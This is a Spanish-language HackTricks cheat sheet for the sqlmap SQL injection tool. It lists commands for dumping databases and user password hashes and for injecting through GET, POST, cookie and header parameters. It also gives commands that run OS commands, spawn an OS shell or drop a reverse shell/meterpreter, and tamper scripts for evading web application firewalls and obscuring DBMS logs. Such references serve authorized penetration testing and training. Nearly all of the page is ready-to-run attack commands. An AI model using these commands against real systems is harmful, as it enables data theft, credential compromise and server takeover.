hacktricks/pentesting-web/sql-injection/sqlmap.md

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

{% endhint %}

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Recuperar Información

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Datos de la base de datos

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lugar de inyección

Desde la captura de Burp/ZAP

Captura la solicitud y crea un archivo req.txt

sqlmap -r req.txt --current-user

Inyección de Solicitud GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Inyección de Solicitud POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Inyecciones en Encabezados y otros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Inyección de segundo orden

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Rastrear un sitio web con SQLmap y auto-explotar

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizando la Inyección

Establecer un sufijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar inyección booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

Tamper	Descripción
apostrophemask.py	Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8
apostrophenullencode.py	Reemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode
appendnullbyte.py	Agrega un carácter de byte NULL codificado al final de la carga útil
base64encode.py	Codifica en Base64 todos los caracteres en una carga útil dada
between.py	Reemplaza el operador mayor que '>' con 'NOT BETWEEN 0 AND #'
bluecoat.py	Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego, reemplaza el carácter = con el operador LIKE
chardoubleencode.py	Codifica en URL dos veces todos los caracteres en una carga útil dada no procesa los ya codificados
commalesslimit.py	Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.py	Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.py	Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py	Codifica en URL todos los caracteres en una carga útil dada no procesa los ya codificados
charunicodeencode.py	Codifica en URL unicode los caracteres no codificados en una carga útil dada no procesa los ya codificados. "%u0022"
charunicodeescape.py	Codifica en URL unicode los caracteres no codificados en una carga útil dada no procesa los ya codificados. "\u0022"
equaltolike.py	Reemplaza todas las ocurrencias del operador igual '=' con el operador 'LIKE'
escapequotes.py	Escapa las comillas con barra invertida ' y "
greatest.py	Reemplaza el operador mayor que '>' con su contraparte 'GREATEST'
halfversionedmorekeywords.py	Agrega un comentario de MySQL versionado antes de cada palabra clave
ifnull2ifisnull.py	Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.py	Envuelve la consulta completa con un comentario versionado
modsecurityzeroversioned.py	Envuelve la consulta completa con un comentario de versión cero
multiplespaces.py	Agrega múltiples espacios alrededor de las palabras clave SQL
nonrecursivereplacement.py	Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo (e.g. .replace("SELECT", "")) filtros
percentage.py	Agrega un signo de porcentaje '%' delante de cada carácter
overlongutf8.py	Convierte todos los caracteres en una carga útil dada no procesa los ya codificados
randomcase.py	Reemplaza cada carácter de palabra clave con un valor de caso aleatorio
randomcomments.py	Agrega comentarios aleatorios a las palabras clave SQL
securesphere.py	Agrega una cadena especialmente elaborada
sp_password.py	Agrega 'sp_password' al final de la carga útil para la ofuscación automática de los registros de DBMS
space2comment.py	Reemplaza el carácter de espacio ' ' con comentarios
space2dash.py	Reemplaza el carácter de espacio ' ' con un comentario de guion '--' seguido de una cadena aleatoria y una nueva línea '\n'
space2hash.py	Reemplaza el carácter de espacio ' ' con un carácter de libra '\#' seguido de una cadena aleatoria y una nueva línea '\n'
space2morehash.py	Reemplaza el carácter de espacio ' ' con un carácter de libra '\#' seguido de una cadena aleatoria y una nueva línea '\n'
space2mssqlblank.py	Reemplaza el carácter de espacio ' ' con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mssqlhash.py	Reemplaza el carácter de espacio ' ' con un carácter de libra '\#' seguido de una nueva línea '\n'
space2mysqlblank.py	Reemplaza el carácter de espacio ' ' con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mysqldash.py	Reemplaza el carácter de espacio ' ' con un comentario de guion '--' seguido de una nueva línea '\n'
space2plus.py	Reemplaza el carácter de espacio ' ' con un signo más '+'
space2randomblank.py	Reemplaza el carácter de espacio ' ' con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
symboliclogical.py	Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y
unionalltounion.py	Reemplaza UNION ALL SELECT con UNION SELECT
unmagicquotes.py	Reemplaza el carácter de comillas ' con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final para que funcione
uppercase.py	Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'
varnish.py	Agrega un encabezado HTTP 'X-originating-IP'
versionedkeywords.py	Envuelve cada palabra clave no funcional con un comentario de MySQL versionado
versionedmorekeywords.py	Envuelve cada palabra clave con un comentario de MySQL versionado
xforwardedfor.py	Agrega un encabezado HTTP falso 'X-Forwarded-For'

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}